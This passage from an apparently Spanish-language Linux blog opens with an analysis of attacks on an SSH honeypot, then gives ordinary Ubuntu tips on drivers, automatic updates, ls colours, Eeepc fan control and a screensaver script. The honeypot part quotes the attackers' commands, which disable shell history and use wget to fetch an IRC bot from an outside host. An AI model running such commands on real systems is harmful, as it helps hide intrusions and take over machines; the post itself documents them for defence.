Si observamos los datos se ve claramente que la táctica de los atacantes se basa en atacar servidores SSH mal configurados, es decir servidores que hacen uso de usuarios y claves por defecto. También llama la atención el elevado número de atacantes, con una media de dos atacantes diferentes por día. Para continuar podemos ver los comandos ejecutados por algunos de estos atacantes:


##Lista el directorio actual
ls
##Desactiva los logs
unset HISTSAVE
unset HISTLOG
unset HISTORY
##Comprueba los usuarios conectados a la máquina
w
##Intentar cambiar la clave de usuario
passwd
##Intenta obtener información sobre la CPU
cat /proc/cpuinfo
##Comprueba si wget está instalada
wget
##Comprueba que wget puede acceder a internet
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
##Descarga un bot para controlar el sistema por IRC
wget http://nasaundernet.is-the-boss.com/psybnc-linux.tgz

La intención del atacante es bastante clara, obtener acceso a la máquina y cambiar la clave de usuario (hay que evitar la posible competencia) para después instalar un bot IRC con el que controlar la máquina. En este caso se trataba de psyBNC. El motivo de controlar la máquina comprometida mediante un bot IRC es poder utilizar la máquina sin conectarse directamente a ella, dejando de esta forma menos huellas; así como poder controlar todas las máquinas comprometidas simultáneamente desde un único canal IRC.

Seguramente el destino de estos servidores comprometidos sea su uso para enviar spam, servir de plataforma para atacar a otras máquinas, usarlos como proxy, ... La mayoría de estas máquinas son servidores sin actualizar y a los que no se presto el interés necesario a lo hora de configurarlos de forma segura. Para que no nos pase esto en la próxima entrada veremos como configurar un servidor SSH de forma segura.

20 may 2010

Video disponible en "breve"

Dando un paseo por la web me encontré con este artículo de "La Aldea Irreductible". El artículo enlaza un interesante vídeo en time lapse sobre el proceso de transporte del transbordador Discovery hasta la plataforma de lanzamiento para la misión STS-131. Cuando intente reproducir el vídeo obtuve el siguiente resultado:



Para poder ver el vídeo tenía que esperar 14435 días 6 horas y 41 min si hacemos un cálculo rápido desde la consola con "echo $(( 14435 / 365 ))" (más información sobre operaciones matemáticas en bash) obtenemos como resultado 39 años, lo mejor es que esto es "en breve".
Si hacemos un calculo mucho más preciso usando WolframAlpha obtenemos que podré ver el vídeo dentro de 39 años 6 meses 16 días 6 horas 33 minutos 23 segundos, que viene siendo el 7 de diciembre de 2049. Eso sí después de ver el vídeo, casi creo que valdría la pena aunque hubiera que esperar tanto.

PD: Si tienes algún problema con el vídeo prueba desde aquí.

Instalando el driver de ATI en Ubuntu 8.04

Hoy al actualizar mi ordenador de sobremesa, el cual corre una Ubuntu 8.04, uno de los paquetes actualizados era el servidor Xorg, lo que me preocupo un poco pues tengo instalado la última versión del driver propietario de ATI para la tarjeta gráfica; el cual no se encuentra en los repositorios. Como me temía, al reiniciar el equipo la pantalla se quedo en negro y el pc no respondía a ninguno de mis intentos de reiniciarlo de forma segura, dejándome como única solución usar el botón de reset. Al reiniciar seleccioné la opción failsafe del kernel más reciente en el menú del grub y durante el arranque intenté reparar el fichero de configuración de Xorg (/etc/X11/xorg.conf) desde el menú de reparación de Ubuntu. Esto me dejo el sistema funcionando pero sin aceleración gráfica.

La verdad es que tenía prisa por poder ver el último capítulo de House y no me paré mucho a mirar cual era el problema, seguramente el módulo que había instalado en el equipo no funcionaba con la nueva versión del servidor de X. La solución fue simple:

  1. Bajar el driver de la página de ATI.
  2. Ejecutar como root el instalador del driver "sudo sh ati-driver-installer-10-4-x86.x86_64.run".
  3. Aceptar todo y usar la instalación en automático.
  4. Instalador del driver de ATI

  5. Reiniciar las X con Ctrl+Alt+Supr o bien salir de la sesión en modo gráfico y desde una terminal (Ctrl+F1) reiniciar el servidor X "sudo /etc/init.d/gdm restart".

Esto solucionó el problema, sin necesidad siquiera de reiniciar y pude ver la serie tranquilamente.

15 may 2010

Actualizaciones automáticas en Ubuntu 10.04

Esta semana al actualizar mi Ubuntu 10.04 desde la consola me ha llamado la atención que se ha instalado un paquete que no tenia instalado previamente, unattended-upgrades. Este paquete añade la posibilidad de actualizar el sistema operativo de forma automática. Aunque en un principio pueda parecer preocupante que un programa de este tipo se instale sin intervención del usuario, la opción de que el sistema se actualice de forma silenciosa está deshabilitada por defecto; siendo necesario que el usuario la active explícitamente.
La forma sencilla de activarlo se encuentra en Sistema->Orígenes de Software, en la pestaña de actualizaciones podremos activarlo seleccionando las opciones que más nos gusten.



Aunque hacerlo de esta forma no va con la filosofía de este blog, así que vamos mirar un poco más a fondo como configurar las actualizaciones automáticas. El fichero de configuración se encuentra en /etc/apt/apt.conf.d/50unattended-upgrades y este es el contenido:


// Automatically upgrade packages from these (origin, archive) pairs
Unattended-Upgrade::Allowed-Origins {
"Ubuntu lucid-security";
// "Ubuntu lucid-updates";
};

// List of packages to not update
Unattended-Upgrade::Package-Blacklist {
// "vim";
// "libc6";
// "libc6-dev";
// "libc6-i686";
};

// Send email to this address for problems or packages upgrades
// If empty or unset then no email is sent, make sure that you
// have a working mail setup on your system. The package 'mailx'
// must be installed or anything that provides /usr/bin/mail.
//Unattended-Upgrade::Mail "root@localhost";

// Do automatic removal of new unused dependencies after the upgrade
// (equivalent to apt-get autoremove)
//Unattended-Upgrade::Remove-Unused-Dependencies "false";

// Automatically reboot *WITHOUT CONFIRMATION* if a
// the file /var/run/reboot-required is found after the upgrade
//Unattended-Upgrade::Automatic-Reboot "false";

// Use apt bandwidth limit feature, this example limits the download
// speed to 70kb/sec
//Acquire::http::Dl-Limit "70";

Las opciones más interesante son las de evitar la actualización de ciertos paquetes, establecer una velocidad máxima de descarga para que esta no interfiera con nuestro uso del pc y establecer un email al que se enviaran los detalles de las actualizaciones realizadas; sino nos gusta que se nos notifique por correo siempre podemos consultar el fichero de log en /var/log/unattended-upgrades.

Una vez hallamos configurado a nuestro gusto el fichero de configuración pasamos a activar la actualizaciones estableciendo la periodicidad de estas en el fichero /etc/apt/apt.conf.d/10periodic.


APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Download-Upgradeable-Packages "1";
APT::Periodic::AutocleanInterval "7";
APT::Periodic::Unattended-Upgrade "1";

El periodo se establece en días y para activar Unattended-Upgrade como es lógico es necesario activar Update-Package-Lists y Download-Upgradeable-Packages. AutocleanInterval establece el periodo en que se borran los paquetes descargados y su resultado es el mismo que el de "apt-get clean".


Como siempre tenéis más información en la documentación de Ubuntu.

10 may 2010

Añadiendo colores al comando ls

Si usas con frecuencia, o de vez en cuando, la consola de cualquier sistema operativo tipo *NIX (Unix, Linux, FreeBDS, MacOSX, ...) te habrás dado cuenta que uno de los comandos más usados, sino el que más, es ls. "ls" se encarga de listar información acerca de ficheros (los directorios también son ficheros) mostrándola en la pantalla. Por defecto esta información se muestra en el mismo color que el resto del texto de nuestra consola; pero con la opción --color=auto se muestran los diferentes tipos de archivos en color.


ls sin colores
ls con colores

Los colores se asignan según el contenido de la variables de entorno LS_COLORS, el contenido por defecto en Ubuntu 8.04 es este:


no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:

La variable LS_COLOR se establece mediante el comando dircolors que cuenta con una base de datos predefinida y que podemos modificar especificando un fichero de configuración a la hora de cargarlo. Este comando se carga normalmente en el fichero de configuración del interprete de shell que utilicemos. Podemos ver la lista completa con todos los colores predefinidos con la opción --print-database y si queremos modificarlos podemos usarla como plantilla del fichero de configuración.


# Configuration file for dircolors, a utility to help you set the
# LS_COLORS environment variable used by GNU ls with the --color option.
# Copyright (C) 1996, 1999-2008
# Free Software Foundation, Inc.
# Copying and distribution of this file, with or without modification,
# are permitted provided the copyright notice and this notice are preserved.
# The keywords COLOR, OPTIONS, and EIGHTBIT (honored by the
# slackware version of dircolors) are recognized but ignored.
# Below, there should be one TERM entry for each termtype that is colorizable
TERM Eterm
TERM ansi
TERM color-xterm
TERM con132x25
TERM con132x30
TERM con132x43
TERM con132x60
TERM con80x25
TERM con80x28
TERM con80x30
TERM con80x43
TERM con80x50
TERM con80x60
TERM cons25
TERM console
TERM cygwin
TERM dtterm
TERM eterm-color
TERM gnome
TERM gnome-256color
TERM konsole
TERM kterm
TERM linux
TERM linux-c
TERM mach-color
TERM mlterm
TERM putty
TERM rxvt
TERM rxvt-cygwin
TERM rxvt-cygwin-native
TERM rxvt-unicode
TERM screen
TERM screen-256color
TERM screen-bce
TERM screen-w
TERM screen.linux
TERM vt100
TERM xterm
TERM xterm-16color
TERM xterm-256color
TERM xterm-88color
TERM xterm-color
TERM xterm-debian
# Below are the color init strings for the basic file types. A color init
# string consists of one or more of the following numeric codes:
# Attribute codes:
# 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
# Text color codes:
# 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
# Background color codes:
# 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white
NORMAL 00 # global default, although everything should be something.
FILE 00 # normal file
DIR 01;34 # directory
LINK 01;36 # symbolic link. (If you set this to 'target' instead of a
# numerical value, the color is as for the file pointed to.)
FIFO 40;33 # pipe
SOCK 01;35 # socket
DOOR 01;35 # door
BLK 40;33;01 # block device driver
CHR 40;33;01 # character device driver
ORPHAN 40;31;01 # symlink to nonexistent file, or non-stat'able file
SETUID 37;41 # file that is setuid (u+s)
SETGID 30;43 # file that is setgid (g+s)
STICKY_OTHER_WRITABLE 30;42 # dir that is sticky and other-writable (+t,o+w)
OTHER_WRITABLE 34;42 # dir that is other-writable (o+w) and not sticky
STICKY 37;44 # dir with the sticky bit set (+t) and not other-writable
# This is for files with execute permission:
EXEC 01;32
# List any file extensions like '.gz' or '.tar' that you would like ls
# to colorize below. Put the extension, a space, and the color init string.
# (and any comments you want to add after a '#')
# If you use DOS-style suffixes, you may want to uncomment the following:
#.cmd 01;32 # executables (bright green)
#.exe 01;32
#.com 01;32
#.btm 01;32
#.bat 01;32
# Or if you want to colorize scripts even if they do not have the
# executable bit actually set.
#.sh 01;32
#.csh 01;32
# archives or compressed (bright red)
.tar 01;31
.tgz 01;31
.svgz 01;31
.arj 01;31
.taz 01;31
.lzh 01;31
.lzma 01;31
.zip 01;31
.z 01;31
.Z 01;31
.dz 01;31
.gz 01;31
.bz2 01;31
.bz 01;31
.tbz2 01;31
.tz 01;31
.deb 01;31
.rpm 01;31
.jar 01;31
.rar 01;31
.ace 01;31
.zoo 01;31
.cpio 01;31
.7z 01;31
.rz 01;31
# image formats
.jpg 01;35
.jpeg 01;35
.gif 01;35
.bmp 01;35
.pbm 01;35
.pgm 01;35
.ppm 01;35
.tga 01;35
.xbm 01;35
.xpm 01;35
.tif 01;35
.tiff 01;35
.png 01;35
.svg 01;35
.mng 01;35
.pcx 01;35
.mov 01;35
.mpg 01;35
.mpeg 01;35
.m2v 01;35
.mkv 01;35
.ogm 01;35
.mp4 01;35
.m4v 01;35
.mp4v 01;35
.vob 01;35
.qt 01;35
.nuv 01;35
.wmv 01;35
.asf 01;35
.rm 01;35
.rmvb 01;35
.flc 01;35
.avi 01;35
.fli 01;35
.gl 01;35
.dl 01;35
.xcf 01;35
.xwd 01;35
.yuv 01;35
# audio formats
.aac 00;36
.au 00;36
.flac 00;36
.mid 00;36
.midi 00;36
.mka 00;36
.mp3 00;36
.mpc 00;36
.ogg 00;36
.ra 00;36
.wav 00;36

Para no tener que teclear continuamente ls --color=auto lo más sencillos es añadir un alias a nuestro fichero de configuración de bash o directamente al fichero .bash_aliases. Si elegimos modificar el fichero de configuración del bash, ".bash.rc" que se encuentra en nuestro home, debemos añadir estas lineas o descomentarlas si ya están. También podemos ver como se hace uso del comando dircolors para cargar los colores por defecto.


if [ "$TERM" != "dumb" ] && [ -x /usr/bin/dircolors ]; then
eval "`dircolors -b`"
alias ls='ls --color=auto'
fi

5 may 2010

Actualizando un Eeepc 1005HA de Ubuntu 9.10 a 10.04

El último fin de semana me dio por actualizar mi netbook un Eeeepc 1005HA con Ubuntu UNR 9.10 a la última versión Ubuntu UNE 10.04 LTS. Lo más sensato para hacer estas cosas es esperar un mes o dos antes de actualizar el equipo para dar tiempo a que se corrijan los típicos bugs que siempre aparecen en las nuevas distribuciones. Incluso si tienes prisa por echarle un vistazo a la nueva distribución, lo más cómodo es esperar unos cuantos días para no comerte la sobrecarga en los servidores de repositorios. A pesar de todo esto decidí sufrir un poco y actualizar el ultraportátil. Después de ejecutar "updata-manager -c" me costó un par de intentos conseguir que el ordenador descargará los índices de todos los repositorios, a lo que siguió un par de horas de descarga de los paquetes nuevos y otra hora más para que el netbook instalara y configurará los paquetes.
Aquí tenéis la información de los pasos a seguir para realizar la actualización. Todo muy sencillo darle a actualizar y aceptar los cambios a realizar.




El nuevo Ubuntu va muy bien y se nota un poco más ligero e incluso tarda un poco menos en arrancar, casi todo funcionó perfectamente a la primera. Personalmente me gusta más el nuevo tema por defecto que el anterior, aquí podéis echar un vistazo a las principales diferencias.


Ahora llega la parte divertida, lo que no funcionó. Lo primero que noté es que no funcionaban las teclas de función, esto se soluciona editando el fichero de configuración del grub /etc/default/grub y cambiando GRUB_CMDLINE_LINUX_DEFAULT='quiet splash' por GRUB_CMDLINE_LINUX_DEFAULT='quiet splash acpi_osi=Linux', después actualizamos el grub con sudo update-grub y reiniciamos.


El otro problema fue que el control del ventilador de mi netbook no funcionaba (información sobre el bug). El problema es que no existe el fichero de configuración del demonio de control de los ventiladores /etc/fancontrol lo que se soluciona ejecutando pwmconfig como root y luego iniciando el demonio /etc/init.d fancontrol start.

Este es mi fichero de configuración de fancontrol:


# Configuration file generated by pwmconfig, changes will be lost
INTERVAL=10
DEVPATH=hwmon0= hwmon1=devices/platform/eeepc
DEVNAME=hwmon0=acpitz hwmon1=eeepc
FCTEMPS=hwmon1/pwm1=hwmon0/temp1_input
FCFANS= hwmon1/pwm1=
MINTEMP=hwmon1/pwm1=35
MAXTEMP=hwmon1/pwm1=70
MINSTART=hwmon1/pwm1=40
MINSTOP=hwmon1/pwm1=0

Otra posible solución, sería lanzar al iniciar un script que se dedicara a gestionar el ventilador y deshabilitar el control del ventilador con fancontrol. Aquí tenéis un par de scripts y más información de como lanzarlos al iniciar Ubuntu. Yo usé uno de los scripts de la página con un par de modificaciones y después lo agregué al arranque del sistema copiándolo en /etc/init.d y ejecutando sudo update-rc.d eeepcfan defaults.


#!/bin/bash

# Automatic fan controller
# Tested on a eee 1005HA running Ubuntu 10.04

# Test with 'sudo eeefan background'.
# If works, 'sudo update-rc.d eeepcfan defaults'
# and reboot.

temp_file=/sys/devices/virtual/thermal/thermal_zone0/temp
fan_control=/sys/devices/platform/eeepc/hwmon/hwmon1/pwm1
fan_control_activate=/sys/devices/platform/eeepc/hwmon/hwmon1/pwm1_enable

eeefanupdate() {
TEMP=$(cat $temp_file)
TEMP=$(($TEMP / 1000))

FANSPEED=0

if [ $TEMP -ge 30 ]
then
FANSPEED=30
fi

if [ $TEMP -ge 35 ]
then
FANSPEED=60
fi

if [ $TEMP -ge 40 ]
then
FANSPEED=80
fi

if [ $TEMP -ge 45 ]
then
FANSPEED=100
fi

if [ $TEMP -ge 50 ]
then
FANSPEED=120
fi

if [ $TEMP -ge 55 ]
then
FANSPEED=180
fi

if [ $TEMP -ge 60 ]
then
FANSPEED=200
fi

if [ $TEMP -ge 65 ]
then
FANSPEED=220
fi

echo $FANSPEED > $fan_control
}

case "$1" in
start)
start-stop-daemon --start --background --exec $0 -- background
;;
background)
sleep 70

echo 1 > $fan_control_activate

while [ 1 ]
do
eeefanupdate
sleep 10
done
;;
stop)
;;
*)
echo "Usage: $0 start|background" >&2
exit 3
;;
esac

Una aplicación interesante para los Eeepc es eee-control disponible en los repositorios. Esta aplicación resulta muy útil porque permite configurar varios aspectos como la frecuencia del procesador, control del ventilador, teclas de función, desactivar hardware del equipo, ... Es necesario modificar el fichero de configuración si queremos usar el control del ventilador para adaptarlo al 1005HA, para ello editamos /etc/eee-control.conf y en el apartado [fan] establecemos max-speed: 255.


Una de las características más polémicas de esta versión de Ubuntu UNE es que el panel del menú superior está fijo y no es posible añadir applets o mover los existentes. La forma de solucionar esto es iniciar sesión en la interfaz de Gnome en vez de la interfaz UNE y modificar esta para que se comporte de la misma forma que la interfaz para netboks.

En la página de documentación de Ubuntu está la información al respecto.

Pasos para modificar la interfaz:


sudo ln -s /etc/xdg/xdg-une/autostart/maximus-autostart.desktop /etc/xdg/autostart/
sudo ln -s /etc/xdg/xdg-une/autostart/netbook-launcher.desktop /etc/xdg/autostart/
sudo ln -s /usr/share/gconf/une/default/20_une-gconf-default /usr/share/gconf/defaults/
sudo ln -s /usr/share/gconf/une/mandatory/20_une-gconf-mandatory /usr/share/gconf/defaults/
sudo update-gconf-defaults

Si nos pasamos modificando el panel y no sabemos como devolverlo a su aspecto original basta con borrar el directorio donde se guarda la configuración del panel para que al reiniciar sesión este recupere la configuración por defecto. La carpeta es .gconf/apps/panel en nuestro directorio home, lo podemos borrar desde la consola con "rm -rf ~/.gconf/apps/panel".

4 may 2010

Evitando el salvapantallas


Primer artículo del blog y nada mejor para empezar que una tira cómica:

http://xkcd.com/196/

Aunque las distribuciones de Linux han mejorado mucho en los últimos años en cuanto a usabilidad, el otro día me pasó algo parecido a la divertida tira de XKCD con Ubuntu Netbook Remix 9.10. El problema consistía en que al ver algún vídeo usando VLC se activaba el protector de pantallas al transcurrir el tiempo configurado. Normalmente el propio reproductor se encarga de evitar esta situación; pero por algún motivo esto no sucedía. Puede que el salvapantallas esté configurado con una sensibilidad menor al tratarse de una distribución orientada a ultraportátiles.

Para mi desgracia, la situación no incluía ninguna novia aunque esto tuvo la ventaja de que pude leerme sin agobios la documentación necesaria para crear un pequeño script con el que solucionar mi problema. El programa que nos permite emular tanto el teclado como el ratón se llama xte y está contenido en el paquete xautomation. Como podemos comprobar en la página correspondiente del man a xte la sintaxis es bastante sencilla, básicamente xte [opciones] comando argumentos. El comando que nos interesa es mousermove y tan solo necesitamos pasarle el movimiento que haremos en las coordenadas x e y. Una vez que conocemos la sintaxis de xte agregamos un bucle infinito y una pausa de 60 segundos y ya tenemos nuestro script:

#!/bin/bash
while [ 1 ]
do
xte 'mousermove 5 0'
sleep 60
done

Con esto conseguimos disfrutar de las películas sin molestas interrupciones del salvapantallas en nuestro portátil. Aunque eso sí, siempre nos quedarán las molestas interrupciones de la novia; pero eso no se resuelve con un script.